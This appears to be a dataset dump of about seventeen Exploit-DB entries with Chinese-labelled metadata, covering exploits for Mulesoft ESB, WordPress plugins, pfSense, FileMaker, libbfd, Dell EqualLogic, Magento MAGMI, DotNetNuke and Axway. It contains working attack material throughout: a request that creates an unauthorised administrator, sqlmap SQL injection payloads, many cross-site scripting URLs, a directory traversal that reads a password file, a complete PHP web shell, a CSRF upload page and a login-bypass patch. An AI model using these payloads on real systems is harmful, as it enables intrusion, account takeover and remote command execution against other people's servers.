QLWD/code_shield huggingface dataset:
标题: Mulesoft ESB Runtime 3.5.1 - Privilege Escalation EDB-ID: 35079 CVE: 2014-9000 类型: WEBAPPS 平台: JSP 发布日期: 2014-10-27 漏洞利用脚本: Mulesoft ESB Runtime 3.5.1 Authenticated Privilege Escalation → Remote Code
Execution



 Mulesoft ESB Runtime 3.5.1 allows any arbitrary authenticated user to
create an administrator user due to a lack of permissions check in the
handler/securityService.rpc endpoint. The following HTTP request can be
made by any authenticated user, even those with a single role of Monitor.


 POST /mmc-3.5.1/handler/securityService.rpc HTTP/1.1

Host: 192.168.0.22:8585

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:31.0)
Gecko/20100101 Firefox/31.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/x-gwt-rpc; charset=utf-8/

Referer: http://192.168.0.22:8585/mmc-3.5.1/index.jsp

Content-Length: 503

Cookie: JSESSIONID=CEB49ED5E239CB7AB6B7C02DD83170A4;

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

 7|0|15|http://192.168.0.22:8585/mmc-3.5.1/com.mulesoft.mmc.MMC/
|5192695B02944BAAB195B91AB3FDDA48|org.mule.galaxy.web.rpc.RemoteSecurityService|addUser|org.mule.galaxy.web.rpc.WUser/4112688705|java.lang.String/2004016611|
fdsafdsa@fdsafdsa.com
|java.util.ArrayList/4159755760|298e8098-ff3e-4d13-b37e-3f3d33193ed9|ed4cbe90-085d-4d44-976c-436eb1d78d16|ccd8aee7-30bb-42e1-8218-cfd9261c7af9|d63c1710-e811-4c3c-aeb6-e474742ac084|fdsa|notadmin|notpassword|1|2|3|4|2|5|6|5|7|8|4|6|9|6|10|6|11|6|12|0|13|0|0|14|15|


 This request will create an administrator with all roles with a username
of notadmin and a password of notpassword. Many vectors of remote code
execution are available to an administrator. Not only can an administrator
deploy WAR applications, they can also evaluate arbitrary groovy scripts
via the web interface.

-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website URL: https://www.exploit-db.com/exploits/35079
标题: WordPress Plugin CP Multi View Event Calendar 1.01 - SQL Injection EDB-ID: 35073 CVE: 2014-8586 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-27 漏洞利用脚本: ######################

# Exploit Title : CP Multi View Event Calendar 1.01 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani 

# Software Link : https://downloads.wordpress.org/plugin/cp-multi-view-calendar.zip

# Date : 2014-10-23

# Tested on : Windows 7 / Mozilla Firefox
              Windows 7 / sqlmap (0.8-1)
              Linux / Mozilla Firefox
              Linux / sqlmap 1.0-dev-5b2ded0

######################


# Description

CP Multi View Event Calendar 1.01 suffers from SQL injection vulnerability

calid variable is not sanitized.

######################

# PoC

http://localhost/?cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 [Sqli]

# Sqlmap

---
Place: GET
Parameter: calid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 RLIKE (SELECT (CASE WHEN (9095=9095) THEN 1 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 AND (SELECT 3807 FROM(SELECT COUNT(*),CONCAT(0x7171736971,(SELECT (CASE WHEN (3807=3807) THEN 1 ELSE 0 END)),0x716b716671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 14 columns
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171736971,0x6f7642724e6743615973,0x716b716671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: cpmvc_id=1&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1 AND 8168=BENCHMARK(5000000,MD5(0x4a4a6d41))
---


#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
  
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

##################### URL: https://www.exploit-db.com/exploits/35073
标题: pfSense - 'interfaces.php?if' Cross-Site Scripting EDB-ID: 35071 CVE: 2010-4412 类型: REMOTE 平台: HARDWARE 发布日期: 2010-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/45272/info
   
pfSense is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
   
pfSense 2 Beta 4 is vulnerable; other versions may also be affected. 

https://www.example.com/interfaces.php?if=wan%22%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/35071
标题: pfSense - 'status_graph.php?if' Cross-Site Scripting EDB-ID: 35070 CVE: 2010-4412 类型: REMOTE 平台: HARDWARE 发布日期: 2010-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/45272/info
  
pfSense is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
pfSense 2 Beta 4 is vulnerable; other versions may also be affected. 

https://www.example.com/status_graph.php?if=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/35070
标题: Filemaker Pro 13.03 / Advanced 12.04 - Authentication Bypass / Privilege Escalation EDB-ID: 35077 CVE: 2014-8347 类型: LOCAL 平台: WINDOWS 发布日期: 2014-10-27 漏洞利用脚本: Filemaker Login Bypass and Privilege Escalation
=======================================================================

[ADVISORY INFORMATION]

Title:      Filemaker Login Bypass and Privilege Escalation
Discovery date:  19/10/2014
Release date:    19/10/2014
Vendor Homepage:  www.filemaker.com
Version:  Filemaker Pro 13.0v3 - FileMaker Pro Advanced 12.0v4
Credits:         Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
 
[VULNERABILITY INFORMATION]

Class:            Authentication Bypass and Privilege Escalation
Category:  Desktop Application
Severity:  High
CVSS v2 Vector:         7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C   

[AFFECTED PRODUCTS]

This security vulnerability affects:

 * FileMaker Pro 13.0v3 - FileMaker Pro Advanced 12.0v4

[VULNERABILITY DETAILS]

There is a obvious vulnerability of FileMaker that allow access to the local FM-based database file:
On DBEngine dll, there is a function called MatchPasswordData:

 ...
 ...
 ...
 5BB8D53A   C68424 74020000 >MOV BYTE PTR SS:[ESP+274],0
 5BB8D542   FF15 D437D25B    CALL DWORD PTR DS:[<&Support.??1PasswordHash@Draco@@QAE@XZ>]  <-- Compute the password's hash.
 5BB8D548   8B8C24 6C020000  MOV ECX,DWORD PTR SS:[ESP+26C]
 5BB8D54F   5F               POP EDI
 5BB8D550   5E               POP ESI
 5BB8D551   8AC3             MOV AL,BL   <-- if AL is 0 then you are not authenticated else if AL is 1 you are authenticated,
             so simply by changing a single bit you are able to bypass the login,
            also if your username is Admin, you can obtain a privilege escalation and full permissions on DB.
 5BB8D553   64:890D 00000000 MOV DWORD PTR FS:[0],ECX
 5BB8D55A   5B               POP EBX
 5BB8D55B   8BE5             MOV ESP,EBP
 5BB8D55D   5D               POP EBP
 5BB8D55E   C2 0400          RETN 4
 ...
 ...
 ...


it doesn't matter if your desktop or mobile application is developed in a "secure manner", your confidential data on the database can be accessed.

[DISCLOSURE TIME-LINE]

    * 19/10/2014 - Public disclosure and simultaneously initial vendor contact.
 
[DISCLAIMER]

The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice. URL: https://www.exploit-db.com/exploits/35077
标题: Binary File Descriptor Library (libbfd) - Out-of-Bounds Crash EDB-ID: 35081 CVE: 2014-6277 类型: DOS 平台: LINUX 发布日期: 2014-10-27 漏洞利用脚本: Many shell users, and certainly a lot of the people working in
computer forensics or other fields of information security, have a
habit of running /usr/bin/strings on binary files originating from the
Internet. Their understanding is that the tool simply scans the file
for runs of printable characters and dumps them to stdout - something
that is very unlikely to put you at any risk.

It is much less known that the Linux version of strings is an integral
part of GNU binutils, a suite of tools that specializes in the
manipulation of several dozen executable formats using a bundled
library called libbfd. Other well-known utilities in that suite
include objdump and readelf.

Perhaps simply by the virtue of being a part of that bundle, the
strings utility tries to leverage the common libbfd infrastructure to
detect supported executable formats and "optimize" the process by
extracting text only from specific sections of the file.
Unfortunately, the underlying library can be hardly described as safe:
a quick pass with afl [1] (and probably with any other competent
fuzzer) quickly reveals a range of troubling and likely exploitable
out-of-bounds crashes due to very limited range checking. In binutils
2.24, you can try:

$ wget http://lcamtuf.coredump.cx/strings-bfd-badptr2

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35081.bin

...
$ strings strings-bfd-badptr2
Segmentation fault
...
strings[24479]: segfault at 4141416d ip 0807a4e7 sp bf80ca60 error 4
in strings[8048000+9a000]
...
      while (--n_elt != 0)
        if ((++idx)->shdr->bfd_section)
          elf_sec_group (idx->shdr->bfd_section) = shdr->bfd_section;
...
(gdb) p idx->shdr
$1 = (Elf_Internal_Shdr *) 0x41414141

In other words, this code appears to first read and then write to an
arbitrary pointer (0x41414141) taken from the input file. Many Linux
distributions ship strings without ASLR, making potential attacks
easier and more reliable - a situation reminiscent of one of
CVE-2014-6277 in bash [2].

Interestingly, the problems with the utility aren't exactly new; Tavis
spotted the first signs of trouble in other parts of libbfd some nine
years ago [3].

In any case: the bottom line is that if you are used to running
strings on random files, or depend on any libbfd-based tools for
forensic purposes, you should probably change your habits. For strings
specifically, invoking it with the -a parameter seems to inhibit the
use of libbfd. Distro vendors may want to consider making the -a mode
default, too.

[1] Obligatory plug: http://code.google.com/p/american-fuzzy-lop/
[2] http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html
[3] https://bugs.gentoo.org/show_bug.cgi?id=91398 URL: https://www.exploit-db.com/exploits/35081
标题: WordPress Plugin Processing Embed 0.5 - 'pluginurl' Cross-Site Scripting EDB-ID: 35066 CVE: 2010-4747 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/45266/info

The Processing Embed plugin for Wordpress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WordPress Processing Embed plugin 0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/wordpress-processing-embed/data/popup.php?pluginurl=%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/35066
标题: pfSense - 'pkg_edit.php?id' Cross-Site Scripting EDB-ID: 35068 CVE: 2010-4412 类型: REMOTE 平台: HARDWARE 发布日期: 2010-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/45272/info

pfSense is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

pfSense 2 Beta 4 is vulnerable; other versions may also be affected. 

https://www.example.com/pkg_edit.php?xml=olsrd.xml&id=%22/%3E%3Cscript%3Ealert%282%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/35068
标题: WordPress Plugin Safe Search - 'v1' Cross-Site Scripting EDB-ID: 35067 CVE: 2010-4518 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/45267/info

The Safe Search plugin for Wordpress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Safe Search 0.7 is vulnerable; other versions may also be affected. 2010-12-08

http://www.example.com/wordpress/wp-content/plugins/wp-safe-search/wp-safe-search-jx.php?v1=%3Cscript%3Ealert(0)%3C/script%3E URL: https://www.exploit-db.com/exploits/35067
标题: pfSense - 'pkg.php?xml' Cross-Site Scripting EDB-ID: 35069 CVE: 2010-4412 类型: REMOTE 平台: HARDWARE 发布日期: 2010-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/45272/info
 
pfSense is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
pfSense 2 Beta 4 is vulnerable; other versions may also be affected. 

https://www.example.com/pkg.php?xml=jailctl.xm%27l%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/35069
标题: Aigaion 1.3.4 - 'ID' SQL Injection EDB-ID: 35060 CVE: 2010-4503 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/45232/info

Aigaion is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Aigaion 1.3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/Aigaion/ indexlight.php?page=export&type=single&format=RIS&ID=[SQLi] URL: https://www.exploit-db.com/exploits/35060
标题: Zimplit CMS - 'zimplit.php?File' Cross-Site Scripting EDB-ID: 35063 CVE: 2010-4513 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/45252/info

Zimplit CMS is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/zimplit.php?action=load&file=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E URL: https://www.exploit-db.com/exploits/35063
标题: Dell EqualLogic Storage - Directory Traversal EDB-ID: 35056 CVE: 2013-3304 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-10-25 漏洞利用脚本: # Exploit Title: Remote Directory Traversal exploit for Dell EqualLogic 6.0
Storage
# Date: 09/2013
# Exploit Author: Mauricio Pampim Corr�a
# Vendor Homepage: www.dell.com
# Version: 6.0
# Tested on: Equipment Model Dell EqualLogic PS4000
# CVE : CVE-2013-3304

 

The malicious user sends

 

GET //../../../../../../../../etc/master.passwd

 

 

 

And the Dell Storage answers

 

root:[hash] &:/root:/bin/sh
daemon:*:[hash]::0:0:The devil himself:/:/sbin/nologin
operator:*:[hash]::0:0:System &:/usr/guest/operator:/sbin/nologin
bin:*:[hash]::0:0:Binaries Commands and Source:/:/sbin/nologin
sshd:*:[hash]:0:0:SSH pseudo-user:/var/chroot/sshd:/sbin/nologin
uucp:*:[hash]:UNIX-to-UNIX
Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico
nobody:*:[hash]:Unprivileged user:/nonexistent:/sbin/nologin
grpadmin:[hash]:Group Manager Admin Account:/mgtdb/update:/usr/bin/Cli
authgroup:[hash]:Group Authenication Account:/:/sbin/nologin

 

 

More informations in (Br-Portuguese) https://www.xlabs.com.br/blog/?p=50

 

Could obtain shell with flaw? send me an email telling me how, to
mauricio[at]xlabs.com.br

 

Thanks URL: https://www.exploit-db.com/exploits/35056
标题: Zimplit CMS - 'English_manual_version_2.php?client' Cross-Site Scripting EDB-ID: 35064 CVE: 2010-4513 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/45252/info
 
Zimplit CMS is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/path/English_manual_version_2.php?client=c%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E URL: https://www.exploit-db.com/exploits/35064
标题: Magento Server MAGMI Plugin 0.7.17a - Remote File Inclusion EDB-ID: 35052 CVE: 2014-8770 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-25 漏洞利用脚本: Exploit found date:  10/24/2014
Security Researcher name:  Parvinder Bhasin
Contact info:  parvinder.bhasin@gmail.com
twitter:  @parvinderb - scorpio

Currently tested version:
Magento version:  Magento CE - 1.8 older
MAGMI version: v0.7.17a older

Download software link:
Magento server:  http://www.magentocommerce.com/download
MAGMI Plugin:
https://sourceforge.net/projects/magmi/files/magmi-0.7/plugins/packages/

MAGMI (MAGento Mass Importer) suffers from File inclusion vulnerability
(RFI) which allows an attacker to upload essentially any PHP file (without
any sanity checks).  This PHP file could then be used to skim credit card
data, rewrite files, run remote commands, delete files..etc.  Essentially,
this gives attacker ability to execute remote commands on the vulnerable
server.


Steps to reproduce:

1.  http://<a magentosite.com>/magmi/web/magmi.php
2.  Under upload new plugins:
click on "choose file"
MAGento plugins are basically php file zipped.  So create a php shell and
zip the file. ex: evil.php  ex: zip file: evil_plugin.zip.  After the file
has been uploaded, it will say:  Plugin packaged installed.
 evil.php:

 <?php
if (isset($_POST['command'])){
echo "<form action='evil.php' method='post'>
      <input type='text' name='command' value=''/>
      <input type='submit' value='execute'/>
      </form>";

    if(function_exists('shell_exec')) {
    $command=$_POST['command'];
    $output = shell_exec("$command");
    echo "<pre>$output</pre>";
   }
}
else {
  echo "<form action='evil.php' method='post'>
      <input type='text' name='command' value=''/>
      <input type='submit' value='execute'/>
      </form>";
}
?>

3.  Your malicious evil.php file is extracted now.  All you then need to do
is just access the evil.php page from:
http://<amagentosite.com>/magmi/plugins/evil.php
 At this point you could really have access to the entire system.  Download
any malware, install rootkits, skim credit card data ..etc.etc. URL: https://www.exploit-db.com/exploits/35052
标题: DotNetNuke 5.5.1 - 'InstallWizard.aspx' Cross-Site Scripting EDB-ID: 35045 CVE: 2010-4514 类型: WEBAPPS 平台: ASP 发布日期: 2010-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/45180/info

DotNetNuke is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

DotNetNuke 5.5.1 is vulnerable; prior versions may also be affected. 

http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/35045
标题: Axway Secure Transport 5.1 SP2 - Arbitrary File Upload (via Cross-Site Request Forgery) EDB-ID: 35046 CVE: 2013-7057 类型: WEBAPPS 平台: PHP 发布日期: 2014-10-23 漏洞利用脚本: <!--
# Exploit Title: Axway Secure Transport 5.1 SP2 Arbitary File Upload via CSRF
# Exploit author: Emmanuel Law 
# Public Disclosure Date : 20/10/14
# Vendor homepage: http://www.axway.com
# Affected Software version: Axway Secure Transport 5.2.1 SP2 and possibly earlier versions.
# CVE: CVE-2013-7057

Software Description:
=====================
Axway SecureTransport is a multi-protocol Managed File Transfer (MFT) gateway solution that enables organizations to secure, manage, and track the transfer of files inside and outside the enterprise firewall.

Vulnerability Description:
=====================
It is possible to conduct CSRF on a user to upload arbitary files on the Axway Secure Transport server. This is due to the lack of anti-CSRF tokens in the web API. An adversary may exploit this to upload webshells for further attacks.


Vulnerability Disclosure Timeline:
==================================
12/12/13 - Discovered vulnerability and notified Vendor
17/10/14 - Verified with Vendor that a patch has been released.
20/10/14 - Public disclosure

Steps to reproduce / PoC:
=========================
-->


<html>
  <!-- CSRF PoC to upload file to sftp.example.org- -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://sftp.example.org/api/v1.0/files/", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------19278872527677784281970288330");
        xhr.withCredentials = true;
        var body = "-----------------------------19278872527677784281970288330\r\n" + 
          "Content-Disposition: form-data; name=\"upload[]\"; filename=\"AURA_TEST.randomExtension\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "FILEDATA\r\n" + 
          "-----------------------------19278872527677784281970288330--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/35046